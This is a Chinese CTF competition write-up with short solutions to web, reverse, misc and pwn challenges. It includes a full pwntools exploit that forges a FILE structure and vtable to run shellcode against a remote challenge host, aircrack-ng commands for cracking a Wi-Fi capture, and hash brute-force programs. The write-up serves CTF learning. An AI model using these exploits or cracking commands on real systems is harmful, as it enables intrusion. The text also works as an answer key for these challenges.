随便做了选择题,进了复赛,然后打了一下,挺多原题的....,就感觉pwn300还行 题目链接
签到
single welcome
WEB
Code Check
/news 下有源码,写个加密脚本然后sql注入就行了,最后在notice2表里面找到flag
Readflag
ssrf,然后偶然发现目录下直接有个flag文件
MyNote
在upload页面上传图片文件,然后返回查看图片的页面发现里面多了一个关于picture参数的cookie,解码发现是个json格式的东西 就跟反序列化联系起来了,这是一个数组类型的反序列化但直接反序列化会有报错,在当前目录穿越,回显出来的base64编码
Reverse
Replace
程序逻辑很简单,写个脚本爆破就行了
byte_402150 = [0x32, 0x61, 0x34, 0x39, 0x66, 0x36, 0x39, 0x63, 0x33, 0x38, 0x33, 0x39, 0x35, 0x63, 0x64, 0x65, 0x39, 0x36, 0x64, 0x36, 0x64, 0x65, 0x39, 0x36, 0x64, 0x36, 0x66, 0x34, 0x65, 0x30, 0x32, 0x35, 0x34, 0x38, 0x34, 0x39, 0x35, 0x34, 0x64, 0x36, 0x31, 0x39, 0x35, 0x34, 0x34, 0x38, 0x64, 0x65, 0x66, 0x36, 0x65, 0x32, 0x64, 0x61, 0x64, 0x36, 0x37, 0x37, 0x38, 0x36, 0x65, 0x32, 0x31, 0x64, 0x35, 0x61, 0x64, 0x61, 0x65, 0x36]
byte_4021a0 = [0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76, 0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0, 0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0, 0xb7, 0xfd, 0x93, 0x26, 0x36, 0x3f, 0xf7, 0xcc, 0x34, 0xa5, 0xe5, 0xf1, 0x71, 0xd8, 0x31, 0x15, 0x04, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x05, 0x9a, 0x07, 0x12, 0x80, 0xe2, 0xeb, 0x27, 0xb2, 0x75, 0x09, 0x83, 0x2c, 0x1a, 0x1b, 0x6e, 0x5a, 0xa0, 0x52, 0x3b, 0xd6, 0xb3, 0x29, 0xe3, 0x2f, 0x84, 0x53, 0xd1, 0x00, 0xed, 0x20, 0xfc, 0xb1, 0x5b, 0x6a, 0xcb, 0xbe, 0x39, 0x4a, 0x4c, 0x58, 0xcf, 0xd0, 0xef, 0xaa, 0xfb, 0x43, 0x4d, 0x33, 0x85, 0x45, 0xf9, 0x02, 0x7f, 0x50, 0x3c, 0x9f, 0xa8, 0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5, 0xbc, 0xb6, 0xda, 0x21, 0x10, 0xff, 0xf3, 0xd2, 0xcd, 0x0c, 0x13, 0xec, 0x5f, 0x97, 0x44, 0x17, 0xc4, 0xa7, 0x7e, 0x3d, 0x64, 0x5d, 0x19, 0x73, 0x60, 0x81, 0x4f, 0xdc, 0x22, 0x2a, 0x90, 0x88, 0x46, 0xee, 0xb8, 0x14, 0xde, 0x5e, 0x0b, 0xdb, 0xe0, 0x32, 0x3a, 0x0a, 0x49, 0x06, 0x24, 0x5c, 0xc2, 0xd3, 0xac, 0x62, 0x91, 0x95, 0xe4, 0x79, 0xe7, 0xc8, 0x37, 0x6d, 0x8d, 0xd5, 0x4e, 0xa9, 0x6c, 0x56, 0xf4, 0xea, 0x65, 0x7a, 0xae, 0x08, 0xba, 0x78, 0x25, 0x2e, 0x1c, 0xa6, 0xb4, 0xc6, 0xe8, 0xdd, 0x74, 0x1f, 0x4b, 0xbd, 0x8b, 0x8a, 0x70, 0x3e, 0xb5, 0x66, 0x48, 0x03, 0xf6, 0x0e, 0x61, 0x35, 0x57, 0xb9, 0x86, 0xc1, 0x1d, 0x9e, 0xe1, 0xf8, 0x98, 0x11, 0x69, 0xd9, 0x8e, 0x94, 0x9b, 0x1e, 0x87, 0xe9, 0xce, 0x55, 0x28, 0xdf, 0x8c, 0xa1, 0x89, 0x0d, 0xbf, 0xe6, 0x42, 0x68, 0x41, 0x99, 0x2d, 0x0f, 0xb0, 0x54, 0xbb, 0x16]
flag = ""
v4 = 0
while True:
v8 = byte_402150[2*v4]
if ( v8 < 48 or v8 > 57 ):
v9 = v8 - 87
else:
v9 = v8 - 48
v10 = byte_402150[2*v4+1]
v11 = v9*16
if ( v10 < 48 or v10 > 57 ):
v12 = v10 - 87
else:
v12 = v10 - 48
for v5 in range(0x20,0x7f):
v6 = (v5 >> 4) % 16
v7 = (16 * v5 >> 4) % 16
if byte_4021a0[16 * v6 + v7] == (v11 + v12) ^ 0x19:
#print chr(v5)
flag += chr(v5)
break
v4 += 1
if v4 >= 35:
break
print flag
HighwayHash64
- 一道爆破hash的题目,运用的算法是highwayhash64,github上有源码,程序首先对flag的长度进行hash校验,然后对flag里的数字进行校验,所以首先需要爆破flag长度,然后爆破flag内容,这里有两种方法,一种是修改源码进行爆破,另外一种是直接改exe为dll注入来爆破
方法1
- 首先要过第一个check,这个可以修改第二个check的retcode为2以此来判断过了长度的check没有
- 把01改成02
- 然后写个bat手动爆破一下,可以知道flag长度为19,去掉格式后中间数字只有10位
@echo off
:next
reverse.exe
if %ERRORLEVEL% EQU 2 echo !!!!!number2!!!!! & goto next
if %ERRORLEVEL% EQU 1 echo again & goto next
if %ERRORLEVEL% EQU 0 echo ############ & goto next
- 然后对照源码发现只有函数HighwayHashReset修改了
- 于是修改源码中的HighwayHashReset函数为
void HighwayHashReset(const uint64_t key[4], HighwayHashState* state) {
uint64_t *a2 = (uint64_t*)state;
a2[8] = 0x1BE6D5D5FE4CCE2F;
a2[9] = 0x24093822299F31D0;
a2[10] = 0x33198A2E03707344;
a2[11] = 0x443F6A8885A308D3;
a2[12] = 0x5BD39E10CB0EF593;
a2[13] = 0x60ACF169B5F18A8C;
a2[14] = 0x7E5466CF34E90C6C;
a2[15] = 0x852821E638D01377;
a2[0] = 0xCF0C0C1ED5EDF3E;
a2[1] = a2[9] ^ 0x3F3E3D3C3B3A1918;
a2[2] = a2[10] ^ 0x1226252423222121;
a2[3] = a2[11] ^ 0x2F2E2D2C2B2A2928;
a2[4] = a2[12] ^ 0x1312111117161514;
a2[5] = a2[13] ^ 0x3B3A19183F3E3D3C;
a2[6] = a2[14] ^ 0x2322212112262524;
a2[7] = a2[15] ^ 0x2B2A29282F2E2D2C;
}
- 验证我们的长度是否正确,从结果来看是正确的,然后爆破数字
exp:
int main() {
uint8_t data[11]={0,0,0,0,0,0,0,0,0,0};
const uint64_t key[4]={0};
for(uint8_t v1='0';v1<='9';v1++){
for(uint8_t v2='0';v2<='9';v2++){
for(uint8_t v3='0';v3<='9';v3++){
for(uint8_t v4='0';v4<='9';v4++){
for(uint8_t v5='0';v5<='9';v5++){
for(uint8_t v6='0';v6<='9';v6++){
for(uint8_t v7='0';v7<='9';v7++){
for(uint8_t v8='0';v8<='9';v8++){
for(uint8_t v9='0';v9<='9';v9++){
for(uint8_t v10='0';v10<='9';v10++){
data[0]=v1;
data[1]=v2;
data[2]=v3;
data[3]=v4;
data[4]=v5;
data[5]=v6;
data[6]=v7;
data[7]=v8;
data[8]=v9;
data[9]=v10;
//printf("%s","aaaa");
if(HighwayHash64(data, 10, key) == 0xAA302D9E67AAC4BA){
puts((char *)data);
}
} } } } } } } } } }
//printf("%llx",HighwayHash64(data, 10, key));
return 0;
}
方法2
将该exe直接改成dll,另外写一个exe来调用
- 首先需要把IMAGE_FILE_DLL标志位改成1,然后通过stud_PE修改入口点为0
- 然后就可以写程序调用该dll执行爆破
// ConsoleApplication1.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//
#include "pch.h"
#include <iostream>
#include<windows.h>
typedef __int64(__fastcall *f)(__int64 buff, unsigned __int64 len);
f func;
void len()
{
int i;
unsigned long long result;
for (i = 0; i < 50; i++)
{
result = func((long long)&i, 4);
if (result == 0xD31580A28DD8E6C4)
{
printf("Len is %d\n", i - 9);
return;
}
}
printf("Not found the lenn");
return;
}
void hash()
{
unsigned long long i;
unsigned long long result;
char buff[20];
for (i = 0; i < 10000000000; i++)
{
sprintf_s(buff, "%0.10llu", i);
if (i % 100000 == 0)
{
printf("%0.10llu\n", i);
}
result = func((long long)buff, 10);
if (result == 0xAA302D9E67AAC4BA)
{
//2503647891
printf("flag is %lld\n", i);
return;
}
}
}
int main()
{
HINSTANCE hdll;
hdll = LoadLibrary(TEXT("C:\\reverse.dll"));
if (hdll == NULL)
{
printf("Load dll Error: %dn", GetLastError());
return 0;
}
printf("Dll base is %llx\n", hdll);
func = ((f)((char*)hdll + 0x17A0));
len();
hash();
}
参考文章:
- https://www.anquanke.com/post/id/164604#h2-6
- https://blog.csdn.net/uiop_uiop_uiop/article/details/84207231
MISC
Disk
ftk打开发现有4个flag文件,保存下来是二进制,转十进制然后转ascii
a = "01 10 01 10 01 10 11 00 01 10 00 01 01 10 01 11 01 11 10 11 00 11 01 00 01 00 01 00 01 01 00 11 01 01 11 11 00 11 00 01 01 10 11 10 01 01 11 11 01 00 01 00 00 11 00 01 01 11 00 11 01 10 10 11 01 11 11 01"
b = a.replace(' ','')
flag = ""
i = 0
while i < len(b):
#print chr(int(b[i:i+8],2))
flag += chr(int(b[i:i+8],2))
i += 8
print flag
Flow
看流量包是抓的wifi包,于是用aircrack-ng跑密码,然后解密流量包,分析得到flag
#爆破密码
aircrack-ng -w pass.txt ctf.pcap
#解密流量包
airdecap-ng ctf.pcap -e ctf -p password1
PWN
Regex Format
跟网鼎杯的blind一样做法,改简单了,直接覆盖stdout的地址伪造IO_FILE结构体,然后伪造vtable,可以获得任意地址执行,直接写shellcode到bss段,然后执行到shellcode就行
from pwn import *
context.binary = "./pwn1"
context.log_level="debug"
#p = process("./pwn1")
p = remote('47.106.243.235',8888)
p.recvuntil('format\n')
p.sendline('a')
fake_IO_stdout_addr = 0x0804A24C
fake_vtable = 0x0804A24C + 0x100
fake_IO_stdout = p32(0xfbad8000) + p32(0x0804A44C)*8 + p32(0)*4
fake_IO_stdout += p32(0x0804A44C) + p32(1) + p32(0) + p32(0xffffffff)
fake_IO_stdout += p32(0) + p32(0x0804A44C) + p32(0xffffffff)*2
fake_IO_stdout += p32(0) + p32(0x0804A44C) + p32(0)*3
fake_IO_stdout += p32(0xffffffff) + p32(0)*10 + p32(fake_vtable)
fake_IO_stdout += p32(0x0804A44C) + p32(0x0804A44C)
fake_IO_stdout = fake_IO_stdout.ljust(0x100,'\x00')
payload = fake_IO_stdout + 'a'*28 + p32(0x0804A24C + 0x120) + asm(shellcraft.sh())
p.recvuntil('match\n')
p.sendline(payload)
p.recvuntil('?[Y/n]\n')
p.sendline('Y')
#gdb.attach(p)
p.recvuntil('format\n')
p.sendline('a'*0x49 + p32(fake_IO_stdout_addr))
p.interactive()
hunger
原题,不多说…
exp: https://github.com/SECCON/SECCON2017_online_CTF/blob/master/pwn/300_hash_burger/exploit.py